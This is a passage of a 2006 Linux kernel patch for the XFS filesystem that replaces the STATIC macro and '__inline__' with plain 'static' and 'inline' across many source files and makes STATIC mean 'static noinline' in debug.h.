+++--- fs/xfs/quota/xfs_qm_bhv.c | 2 +- fs/xfs/support/debug.h | 2 +- fs/xfs/xfs_attr.c | 12 ++++++------ fs/xfs/xfs_attr_leaf.c | 6 +++--- fs/xfs/xfs_bit.c | 2 +- fs/xfs/xfs_bmap_btree.c | 2 +- fs/xfs/xfs_buf_item.c | 2 +- fs/xfs/xfs_extfree_item.c | 4 ++-- fs/xfs/xfs_ialloc.c | 2 +- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 2 +- fs/xfs/xfs_mount.c | 8 ++++---- fs/xfs/xfs_refcache.c | 10 +++++----- 31 files changed, 103 insertions(+), 102 deletions(-) Index: 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_file.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.4/xfs_file.c 2006-08-31 16:17:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_file.c 2006-10-17 11:09:44.450307346 +1000 @@ -55,7 +55,7 @@ static struct vm_operations_struct xfs_d #define do_up_read(x) #endif -STATIC inline ssize_t +static inline ssize_t __xfs_file_read( struct file *file, char *buf, @@ -99,7 +99,7 @@ xfs_file_read_invis( } -STATIC inline ssize_t +static inline ssize_t __xfs_file_write( struct file *file, const char *buf, @@ -146,7 +146,7 @@ __xfs_file_write( return rval; } -STATIC inline ssize_t +static inline ssize_t xfs_file_write( struct file *file, const char *buf, @@ -156,7 +156,7 @@ xfs_file_write( return __xfs_file_write(file, buf, 0, count, ppos); } -STATIC inline ssize_t +static inline ssize_t xfs_file_write_invis( struct file *file, const char *buf, Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_aops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_aops.c 2006-09-14 10:32:27.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_aops.c 2006-10-17 11:09:59.700324081 +1000 @@ -246,7 +246,7 @@ xfs_map_blocks( return -error; } -STATIC inline int +static inline int xfs_iomap_valid( xfs_iomap_t *iomapp, loff_t offset) Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_buf.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_buf.c 2006-09-21 02:03:52.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_buf.c 2006-10-17 11:37:54.138236617 +1000 @@ -32,13 +32,13 @@ #include #include "xfs_linux.h" -STATIC kmem_zone_t *xfs_buf_zone; -STATIC kmem_shaker_t xfs_buf_shake; +static kmem_zone_t *xfs_buf_zone; +static kmem_shaker_t xfs_buf_shake; STATIC int xfsbufd(void *); STATIC int xfsbufd_wakeup(int, gfp_t); STATIC void xfs_buf_delwri_queue(xfs_buf_t *, int); -STATIC struct workqueue_struct *xfslogd_workqueue; +static struct workqueue_struct *xfslogd_workqueue; struct workqueue_struct *xfsdatad_workqueue; #ifdef XFS_BUF_TRACE @@ -137,7 +137,7 @@ page_region_mask( return mask; } -STATIC inline void +static inline void set_page_region( struct page *page, size_t offset, @@ -149,7 +149,7 @@ set_page_region( SetPageUptodate(page); } -STATIC inline int +static inline int test_page_region( struct page *page, size_t offset, @@ -169,9 +169,9 @@ typedef struct a_list { struct a_list *next; } a_list_t; -STATIC a_list_t *as_free_head; -STATIC int as_list_len; -STATIC DEFINE_SPINLOCK(as_lock); +static a_list_t *as_free_head; +static int as_list_len; +static DEFINE_SPINLOCK(as_lock); /* * Try to batch vunmaps because they are costly. @@ -1082,7 +1082,7 @@ xfs_buf_iostart( return status; } -STATIC __inline__ int +static inline int _xfs_buf_iolocked( xfs_buf_t *bp) { @@ -1092,7 +1092,7 @@ _xfs_buf_iolocked( return 0; } -STATIC __inline__ void +static inline void _xfs_buf_ioend( xfs_buf_t *bp, int schedule) @@ -1423,8 +1423,8 @@ xfs_free_bufhash( /* * buftarg list for delwrite queue processing */ -STATIC LIST_HEAD(xfs_buftarg_list); -STATIC DEFINE_SPINLOCK(xfs_buftarg_lock); +static LIST_HEAD(xfs_buftarg_list); +static DEFINE_SPINLOCK(xfs_buftarg_lock); STATIC void xfs_register_buftarg( Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_file.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_file.c 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_file.c 2006-10-17 11:10:59.100593910 +1000 @@ -46,7 +46,7 @@ static struct vm_operations_struct xfs_f static struct vm_operations_struct xfs_dmapi_file_vm_ops; #endif -STATIC inline ssize_t +static inline ssize_t __xfs_file_read( struct kiocb *iocb, char __user *buf, @@ -84,7 +84,7 @@ xfs_file_aio_read_invis( return __xfs_file_read(iocb, buf, IO_ISAIO|IO_INVIS, count, pos); } -STATIC inline ssize_t +static inline ssize_t __xfs_file_write( struct kiocb *iocb, const char __user *buf, @@ -123,7 +123,7 @@ xfs_file_aio_write_invis( return __xfs_file_write(iocb, buf, IO_ISAIO|IO_INVIS, count, pos); } -STATIC inline ssize_t +static inline ssize_t __xfs_file_readv( struct file *file, const struct iovec *iov, @@ -168,7 +168,7 @@ xfs_file_readv_invis( return __xfs_file_readv(file, iov, IO_INVIS, nr_segs, ppos); } -STATIC inline ssize_t +static inline ssize_t __xfs_file_writev( struct file *file, const struct iovec *iov, Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_iops.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_iops.c 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_iops.c 2006-10-17 11:10:36.575526218 +1000 @@ -250,13 +250,13 @@ xfs_init_security( * * XXX(hch): nfsd is broken, better fix it instead. */ -STATIC inline int +static inline int xfs_has_fs_struct(struct task_struct *task) { return (task->fs != init_task.fs); } -STATIC inline void +STATIC void xfs_cleanup_inode( bhv_vnode_t *dvp, bhv_vnode_t *vp, Index: 2.6.x-xfs-new/fs/xfs/support/debug.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/support/debug.h 2006-08-31 16:17:48.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/support/debug.h 2006-10-17 11:08:58.820238266 +1000 @@ -44,7 +44,7 @@ extern unsigned long random(void); #endif #ifndef STATIC -# define STATIC static +# define STATIC static noinline #endif #endif /* __XFS_SUPPORT_DEBUG_H__ */ Index: 2.6.x-xfs-new/fs/xfs/xfs_attr_leaf.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_attr_leaf.c 2006-08-31 16:17:49.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_attr_leaf.c 2006-10-17 11:11:12.330871050 +1000 @@ -94,7 +94,7 @@ STATIC int xfs_attr_leaf_entsize(xfs_att * Namespace helper routines *========================================================================*/ -STATIC inline attrnames_t * +static inline attrnames_t * xfs_attr_flags_namesp(int flags) { return ((flags & XFS_ATTR_SECURE) ? &attr_secure: @@ -105,7 +105,7 @@ xfs_attr_flags_namesp(int flags) * If namespace bits don't match return 0. * If all match then return 1. */ -STATIC inline int +static inline int xfs_attr_namesp_match(int arg_flags, int ondisk_flags) { return XFS_ATTR_NSP_ONDISK(ondisk_flags) == XFS_ATTR_NSP_ARGS_TO_ONDISK(arg_flags); @@ -116,7 +116,7 @@ xfs_attr_namesp_match(int arg_flags, int * then return 0. * If all match or are overridable then return 1. */ -STATIC inline int +static inline int xfs_attr_namesp_match_overrides(int arg_flags, int ondisk_flags) { if (((arg_flags & ATTR_SECURE) == 0) != Index: 2.6.x-xfs-new/fs/xfs/xfs_mount.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_mount.c 2006-10-16 15:55:41.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_mount.c 2006-10-17 11:11:24.729256155 +1000 @@ -1790,7 +1790,7 @@ xfs_icsb_destroy_counters( } } -STATIC inline void +static inline void xfs_icsb_lock_cntr( xfs_icsb_cnts_t *icsbp) { @@ -1799,7 +1799,7 @@ xfs_icsb_lock_cntr( } } -STATIC inline void +static inline void xfs_icsb_unlock_cntr( xfs_icsb_cnts_t *icsbp) { @@ -1807,7 +1807,7 @@ xfs_icsb_unlock_cntr( } -STATIC inline void +static inline void xfs_icsb_lock_all_counters( xfs_mount_t *mp) { @@ -1820,7 +1820,7 @@ xfs_icsb_lock_all_counters( } } -STATIC inline void +static inline void xfs_icsb_unlock_all_counters( xfs_mount_t *mp) { Index: 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_buf.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.4/xfs_buf.c 2006-08-31 16:17:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_buf.c 2006-10-17 11:51:06.258966560 +1000 @@ -67,17 +67,17 @@ #define VM_MAP VM_ALLOC #endif -STATIC kmem_zone_t *xfs_buf_zone; -STATIC kmem_shaker_t xfs_buf_shake; +static kmem_zone_t *xfs_buf_zone; +static kmem_shaker_t xfs_buf_shake; #define MAX_IO_DAEMONS NR_CPUS #define CPU_TO_DAEMON(cpu) (cpu) -STATIC int xb_logio_daemons[MAX_IO_DAEMONS]; -STATIC struct list_head xfs_buf_logiodone_tq[MAX_IO_DAEMONS]; -STATIC wait_queue_head_t xfs_buf_logiodone_wait[MAX_IO_DAEMONS]; -STATIC int xb_dataio_daemons[MAX_IO_DAEMONS]; -STATIC struct list_head xfs_buf_dataiodone_tq[MAX_IO_DAEMONS]; -STATIC wait_queue_head_t xfs_buf_dataiodone_wait[MAX_IO_DAEMONS]; +static int xb_logio_daemons[MAX_IO_DAEMONS]; +static struct list_head xfs_buf_logiodone_tq[MAX_IO_DAEMONS]; +static wait_queue_head_t xfs_buf_logiodone_wait[MAX_IO_DAEMONS]; +static int xb_dataio_daemons[MAX_IO_DAEMONS]; +static struct list_head xfs_buf_dataiodone_tq[MAX_IO_DAEMONS]; +static wait_queue_head_t xfs_buf_dataiodone_wait[MAX_IO_DAEMONS]; /* * For pre-allocated buffer head pool @@ -154,9 +154,9 @@ typedef struct a_list { struct a_list *next; } a_list_t; -STATIC a_list_t *as_free_head; -STATIC int as_list_len; -STATIC DEFINE_SPINLOCK(as_lock); +static a_list_t *as_free_head; +static int as_list_len; +static DEFINE_SPINLOCK(as_lock); /* * Try to batch vunmaps because they are costly. @@ -515,7 +515,7 @@ _xfs_buf_get_prealloc_bh(void) * Otherwise, put it back in the pool, and wake up anybody * waiting for one. */ -STATIC inline void +static inline void _xfs_buf_free_bh( struct buffer_head *bh) { @@ -1204,7 +1204,7 @@ xfs_buf_iostart( return status; } -STATIC __inline__ int +static inline int _xfs_buf_iolocked( xfs_buf_t *bp) { @@ -1366,8 +1366,8 @@ xfs_free_bufhash( /* * buftarg list for delwrite queue processing */ -STATIC LIST_HEAD(xfs_buftarg_list); -STATIC DEFINE_SPINLOCK(xfs_buftarg_lock); +static LIST_HEAD(xfs_buftarg_list); +static DEFINE_SPINLOCK(xfs_buftarg_lock); STATIC void xfs_register_buftarg( Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_sysctl.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_sysctl.c 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_sysctl.c 2006-10-17 11:18:27.375821188 +1000 @@ -54,7 +54,7 @@ xfs_stats_clear_proc_handler( } #endif /* CONFIG_PROC_FS */ -STATIC ctl_table xfs_table[] = { +static ctl_table xfs_table[] = { {XFS_RESTRICT_CHOWN, "restrict_chown", &xfs_params.restrict_chown.val, sizeof(int), 0644, NULL, &proc_dointvec_minmax, &sysctl_intvec, NULL, @@ -151,12 +151,12 @@ STATIC ctl_table xfs_table[] = { {0} }; -STATIC ctl_table xfs_dir_table[] = { +static ctl_table xfs_dir_table[] = { {FS_XFS, "xfs", NULL, 0, 0555, xfs_table}, {0} }; -STATIC ctl_table xfs_root_table[] = { +static ctl_table xfs_root_table[] = { {CTL_FS, "fs", NULL, 0, 0555, xfs_dir_table}, {0} }; Index: 2.6.x-xfs-new/fs/xfs/xfs_attr.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_attr.c 2006-08-31 16:17:49.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_attr.c 2006-10-17 11:20:13.991172718 +1000 @@ -57,9 +57,9 @@ */ #define ATTR_SYSCOUNT 2 -STATIC struct attrnames posix_acl_access; -STATIC struct attrnames posix_acl_default; -STATIC struct attrnames *attr_system_names[ATTR_SYSCOUNT]; +static struct attrnames posix_acl_access; +static struct attrnames posix_acl_default; +static struct attrnames *attr_system_names[ATTR_SYSCOUNT]; /*======================================================================== * Function prototypes for the kernel. @@ -2477,7 +2477,7 @@ posix_acl_default_exists( return xfs_acl_vhasacl_default(vp); } -STATIC struct attrnames posix_acl_access = { +static struct attrnames posix_acl_access = { .attr_name = "posix_acl_access", .attr_namelen = sizeof("posix_acl_access") - 1, .attr_get = posix_acl_access_get, @@ -2486,7 +2486,7 @@ STATIC struct attrnames posix_acl_access .attr_exists = posix_acl_access_exists, }; -STATIC struct attrnames posix_acl_default = { +static struct attrnames posix_acl_default = { .attr_name = "posix_acl_default", .attr_namelen = sizeof("posix_acl_default") - 1, .attr_get = posix_acl_default_get, @@ -2495,7 +2495,7 @@ STATIC struct attrnames posix_acl_defaul .attr_exists = posix_acl_default_exists, }; -STATIC struct attrnames *attr_system_names[] = +static struct attrnames *attr_system_names[] = { &posix_acl_access, &posix_acl_default }; Index: 2.6.x-xfs-new/fs/xfs/xfs_bit.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_bit.c 2006-08-31 16:17:49.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_bit.c 2006-10-17 11:18:34.850938070 +1000 @@ -29,7 +29,7 @@ /* * Index of high bit number in byte, -1 for none set, 0..7 otherwise. */ -STATIC const char xfs_highbit[256] = { +static const char xfs_highbit[256] = { -1, 0, 1, 1, 2, 2, 2, 2, /* 00 .. 07 */ 3, 3, 3, 3, 3, 3, 3, 3, /* 08 .. 0f */ 4, 4, 4, 4, 4, 4, 4, 4, /* 10 .. 17 */ Index: 2.6.x-xfs-new/fs/xfs/linux-2.4/mrlock.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.4/mrlock.c 2006-08-31 16:17:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.4/mrlock.c 2006-10-17 11:24:43.086771964 +1000 @@ -195,7 +195,7 @@ mrtryupdate(mrlock_t *mrp) return 1; } -static __inline__ void mrwake(mrlock_t *mrp) +static inline void mrwake(mrlock_t *mrp) { /* * First, if the count is now 0, we need to wake-up anyone waiting. Index: 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_super.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.4/xfs_super.c 2006-08-31 16:17:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_super.c 2006-10-17 11:47:23.279919586 +1000 @@ -54,9 +54,9 @@ #include -STATIC struct quotactl_ops xfs_quotactl_operations; -STATIC struct super_operations xfs_super_operations; -STATIC kmem_zone_t *xfs_vnode_zone; +static struct quotactl_ops xfs_quotactl_operations; +static struct super_operations xfs_super_operations; +static kmem_zone_t *xfs_vnode_zone; STATIC struct xfs_mount_args * xfs_args_allocate( @@ -113,7 +113,7 @@ xfs_max_file_offset( return (((__uint64_t)pagefactor) << bitshift) - 1; } -STATIC __inline__ void +static inline void xfs_set_inodeops( struct inode *inode) { @@ -140,7 +140,7 @@ xfs_set_inodeops( } } -STATIC __inline__ void +static inline void xfs_revalidate_inode( xfs_mount_t *mp, bhv_vnode_t *vp, @@ -974,7 +974,7 @@ fail_vfsop: } -STATIC struct super_operations xfs_super_operations = { +static struct super_operations xfs_super_operations = { .alloc_inode = xfs_fs_alloc_inode, .destroy_inode = xfs_fs_destroy_inode, .write_inode = xfs_fs_write_inode, @@ -991,7 +991,7 @@ STATIC struct super_operations xfs_super .show_options = xfs_fs_show_options, }; -STATIC struct quotactl_ops xfs_quotactl_operations = { +static struct quotactl_ops xfs_quotactl_operations = { .quota_sync = xfs_fs_quotasync, .get_xstate = xfs_fs_getxstate, .set_xstate = xfs_fs_setxstate, Index: 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_vnode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.4/xfs_vnode.h 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.4/xfs_vnode.h 2006-10-17 11:24:22.593262148 +1000 @@ -468,14 +468,14 @@ static inline struct bhv_vnode *vn_grab( #define VN_LOCK(vp) mutex_spinlock(&(vp)->v_lock) #define VN_UNLOCK(vp, s) mutex_spinunlock(&(vp)->v_lock, s) -static __inline__ void vn_flagset(struct bhv_vnode *vp, uint flag) +static inline void vn_flagset(struct bhv_vnode *vp, uint flag) { spin_lock(&vp->v_lock); vp->v_flag |= flag; spin_unlock(&vp->v_lock); } -static __inline__ uint vn_flagclr(struct bhv_vnode *vp, uint flag) +static inline uint vn_flagclr(struct bhv_vnode *vp, uint flag) { uint cleared; Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_super.c 2006-10-17 09:51:46.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_super.c 2006-10-17 11:39:54.900738643 +1000 @@ -57,10 +57,10 @@ #include #include -STATIC struct quotactl_ops xfs_quotactl_operations; -STATIC struct super_operations xfs_super_operations; -STATIC kmem_zone_t *xfs_vnode_zone; -STATIC kmem_zone_t *xfs_ioend_zone; +static struct quotactl_ops xfs_quotactl_operations; +static struct super_operations xfs_super_operations; +static kmem_zone_t *xfs_vnode_zone; +static kmem_zone_t *xfs_ioend_zone; mempool_t *xfs_ioend_pool; STATIC struct xfs_mount_args * @@ -120,7 +120,7 @@ xfs_max_file_offset( return (((__uint64_t)pagefactor) << bitshift) - 1; } -STATIC __inline__ void +static inline void xfs_set_inodeops( struct inode *inode) { @@ -146,7 +146,7 @@ xfs_set_inodeops( } } -STATIC __inline__ void +static inline void xfs_revalidate_inode( xfs_mount_t *mp, bhv_vnode_t *vp, @@ -879,7 +879,7 @@ xfs_fs_get_sb( return get_sb_bdev(fs_type, flags, dev_name, data, xfs_fs_fill_super); } -STATIC struct super_operations xfs_super_operations = { +static struct super_operations xfs_super_operations = { .alloc_inode = xfs_fs_alloc_inode, .destroy_inode = xfs_fs_destroy_inode, .write_inode = xfs_fs_write_inode, @@ -893,7 +893,7 @@ STATIC struct super_operations xfs_super .show_options = xfs_fs_show_options, }; -STATIC struct quotactl_ops xfs_quotactl_operations = { +static struct quotactl_ops xfs_quotactl_operations = { .quota_sync = xfs_fs_quotasync, .get_xstate = xfs_fs_getxstate, .set_xstate = xfs_fs_setxstate, Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vnode.h =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_vnode.h 2006-08-31 16:17:48.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vnode.h 2006-10-17 11:26:09.196480962 +1000 @@ -492,14 +492,14 @@ static inline struct bhv_vnode *vn_grab( #define VN_LOCK(vp) mutex_spinlock(&(vp)->v_lock) #define VN_UNLOCK(vp, s) mutex_spinunlock(&(vp)->v_lock, s) -static __inline__ void vn_flagset(struct bhv_vnode *vp, uint flag) +static inline void vn_flagset(struct bhv_vnode *vp, uint flag) { spin_lock(&vp->v_lock); vp->v_flag |= flag; spin_unlock(&vp->v_lock); } -static __inline__ uint vn_flagclr(struct bhv_vnode *vp, uint flag) +static inline uint vn_flagclr(struct bhv_vnode *vp, uint flag) { uint cleared; Index: 2.6.x-xfs-new/fs/xfs/xfs_bmap_btree.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_bmap_btree.c 2006-08-31 16:17:49.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_bmap_btree.c 2006-10-17 11:21:05.161062724 +1000 @@ -1862,7 +1862,7 @@ xfs_bmbt_delete( * xfs_bmbt_get_startblock, xfs_bmbt_get_blockcount and xfs_bmbt_get_state. */ -STATIC __inline__ void +static inline void __xfs_bmbt_get_all( __uint64_t l0, __uint64_t l1, Index: 2.6.x-xfs-new/fs/xfs/xfs_extfree_item.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_extfree_item.c 2006-08-31 16:17:51.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_extfree_item.c 2006-10-17 11:21:26.802471146 +1000 @@ -227,7 +227,7 @@ xfs_efi_item_committing(xfs_efi_log_item /* * This is the ops vector shared by all efi log items. */ -STATIC struct xfs_item_ops xfs_efi_item_ops = { +static struct xfs_item_ops xfs_efi_item_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_efi_item_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_efi_item_format, @@ -525,7 +525,7 @@ xfs_efd_item_committing(xfs_efd_log_item /* * This is the ops vector shared by all efd log items. */ -STATIC struct xfs_item_ops xfs_efd_item_ops = { +static struct xfs_item_ops xfs_efd_item_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_efd_item_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_efd_item_format, Index: 2.6.x-xfs-new/fs/xfs/xfs_inode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode.c 2006-10-17 10:03:19.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode.c 2006-10-17 11:27:02.810045286 +1000 @@ -2125,7 +2125,7 @@ xfs_iunlink_remove( return 0; } -static __inline__ int xfs_inode_clean(xfs_inode_t *ip) +static inline int xfs_inode_clean(xfs_inode_t *ip) { return (((ip->i_itemp == NULL) || !(ip->i_itemp->ili_format.ilf_fields & XFS_ILOG_ALL)) && Index: 2.6.x-xfs-new/fs/xfs/xfs_buf_item.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_buf_item.c 2006-08-31 16:17:50.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_buf_item.c 2006-10-17 11:30:07.555675393 +1000 @@ -660,7 +660,7 @@ xfs_buf_item_committing(xfs_buf_log_item /* * This is the ops vector shared by all buf log items. */ -STATIC struct xfs_item_ops xfs_buf_item_ops = { +static struct xfs_item_ops xfs_buf_item_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_buf_item_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_buf_item_format, Index: 2.6.x-xfs-new/fs/xfs/xfs_ialloc.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_ialloc.c 2006-10-13 12:14:02.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_ialloc.c 2006-10-17 11:30:42.475414928 +1000 @@ -342,7 +342,7 @@ xfs_ialloc_ag_alloc( return 0; } -STATIC __inline xfs_agnumber_t +static inline xfs_agnumber_t xfs_ialloc_next_ag( xfs_mount_t *mp) { Index: 2.6.x-xfs-new/fs/xfs/xfs_inode_item.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/xfs_inode_item.c 2006-08-31 16:17:51.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/xfs_inode_item.c 2006-10-17 11:31:03.768812145 +1000 @@ -887,7 +887,7 @@ xfs_inode_item_committing( /* * This is the ops vector shared by all buf log items. */ -STATIC struct xfs_item_ops xfs_inode_item_ops = { +static struct xfs_item_ops xfs_inode_item_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_inode_item_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_inode_item_format, Index: 2.6.x-xfs-new/fs/xfs/dmapi/xfs_dm.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/dmapi/xfs_dm.c 2006-10-11 13:36:22.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/dmapi/xfs_dm.c 2006-10-17 11:41:38.844845462 +1000 @@ -133,9 +133,9 @@ typedef struct { changed! */ -STATIC const char dmattr_prefix[DMATTR_PREFIXLEN + 1] = DMATTR_PREFIXSTRING; +static const char dmattr_prefix[DMATTR_PREFIXLEN + 1] = DMATTR_PREFIXSTRING; -STATIC dm_size_t dm_min_dio_xfer = 0; /* direct I/O disabled for now */ +static dm_size_t dm_min_dio_xfer = 0; /* direct I/O disabled for now */ /* See xfs_dm_get_dmattr() for a description of why this is needed. */ @@ -3123,7 +3123,7 @@ xfs_dm_obj_ref_hold( } -STATIC fsys_function_vector_t xfs_fsys_vector[DM_FSYS_MAX]; +static fsys_function_vector_t xfs_fsys_vector[DM_FSYS_MAX]; int Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_export.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_export.c 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_export.c 2006-10-17 11:33:53.324543389 +1000 @@ -24,7 +24,7 @@ #include "xfs_mount.h" #include "xfs_export.h" -STATIC struct dentry dotdot = { .d_name.name = "..", .d_name.len = 2, }; +static struct dentry dotdot = { .d_name.name = "..", .d_name.len = 2, }; /* * XFS encodes and decodes the fileid portion of NFS filehandles Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vfs.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_vfs.c 2006-08-31 16:17:47.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vfs.c 2006-10-17 11:40:38.795745616 +1000 @@ -295,8 +295,9 @@ typedef struct bhv_module_list { const char * bm_name; void * bm_ops; } bhv_module_list_t; -STATIC DEFINE_SPINLOCK(bhv_lock); -STATIC struct list_head bhv_list = LIST_HEAD_INIT(bhv_list); + +static DEFINE_SPINLOCK(bhv_lock); +static struct list_head bhv_list = LIST_HEAD_INIT(bhv_list); void bhv_module_init( Index: 2.6.x-xfs-new/fs/xfs/quota/xfs_dquot_item.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/quota/xfs_dquot_item.c 2006-08-31 16:17:48.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/quota/xfs_dquot_item.c 2006-10-17 11:41:59.366469646 +1000 @@ -399,7 +399,7 @@ xfs_qm_dquot_logitem_committing( /* * This is the ops vector for dquots */ -STATIC struct xfs_item_ops xfs_dquot_item_ops = { +static struct xfs_item_ops xfs_dquot_item_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_qm_dquot_logitem_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_qm_dquot_logitem_format, @@ -606,7 +606,7 @@ xfs_qm_qoffend_logitem_committing(xfs_qo return; } -STATIC struct xfs_item_ops xfs_qm_qoffend_logitem_ops = { +static struct xfs_item_ops xfs_qm_qoffend_logitem_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_qm_qoff_logitem_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_qm_qoff_logitem_format, @@ -628,7 +628,7 @@ STATIC struct xfs_item_ops xfs_qm_qoffen /* * This is the ops vector shared by all quotaoff-start log items. */ -STATIC struct xfs_item_ops xfs_qm_qoff_logitem_ops = { +static struct xfs_item_ops xfs_qm_qoff_logitem_ops = { .iop_size = (uint(*)(xfs_log_item_t*))xfs_qm_qoff_logitem_size, .iop_format = (void(*)(xfs_log_item_t*, xfs_log_iovec_t*)) xfs_qm_qoff_logitem_format, Index: 2.6.x-xfs-new/fs/xfs/quota/xfs_qm.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/quota/xfs_qm.c 2006-09-14 10:32:27.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/quota/xfs_qm.c 2006-10-17 11:39:02.158678202 +1000 @@ -64,10 +64,10 @@ uint ndquot; kmem_zone_t *qm_dqzone; kmem_zone_t *qm_dqtrxzone; -STATIC kmem_shaker_t xfs_qm_shaker; +static kmem_shaker_t xfs_qm_shaker; -STATIC cred_t xfs_zerocr; -STATIC xfs_inode_t xfs_zeroino; +static cred_t xfs_zerocr; +static xfs_inode_t xfs_zeroino; STATIC void xfs_qm_list_init(xfs_dqlist_t *, char *, int); STATIC void xfs_qm_list_destroy(xfs_dqlist_t *); Index: 2.6.x-xfs-new/fs/xfs/quota/xfs_qm_bhv.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/quota/xfs_qm_bhv.c 2006-09-14 10:32:27.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/quota/xfs_qm_bhv.c 2006-10-17 11:36:09.341855439 +1000 @@ -384,7 +384,7 @@ xfs_qm_dqrele_null( } -STATIC struct xfs_qmops xfs_qmcore_xfs = { +static struct xfs_qmops xfs_qmcore_xfs = { .xfs_qminit = xfs_qm_newmount, .xfs_qmdone = xfs_qm_unmount_quotadestroy, .xfs_qmmount = xfs_qm_endmount, Index: 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vnode.c =================================================================== --- 2.6.x-xfs-new.orig/fs/xfs/linux-2.6/xfs_vnode.c 2006-08-31 16:17:48.000000000 +1000 +++ 2.6.x-xfs-new/fs/xfs/linux-2.6/xfs_vnode.c 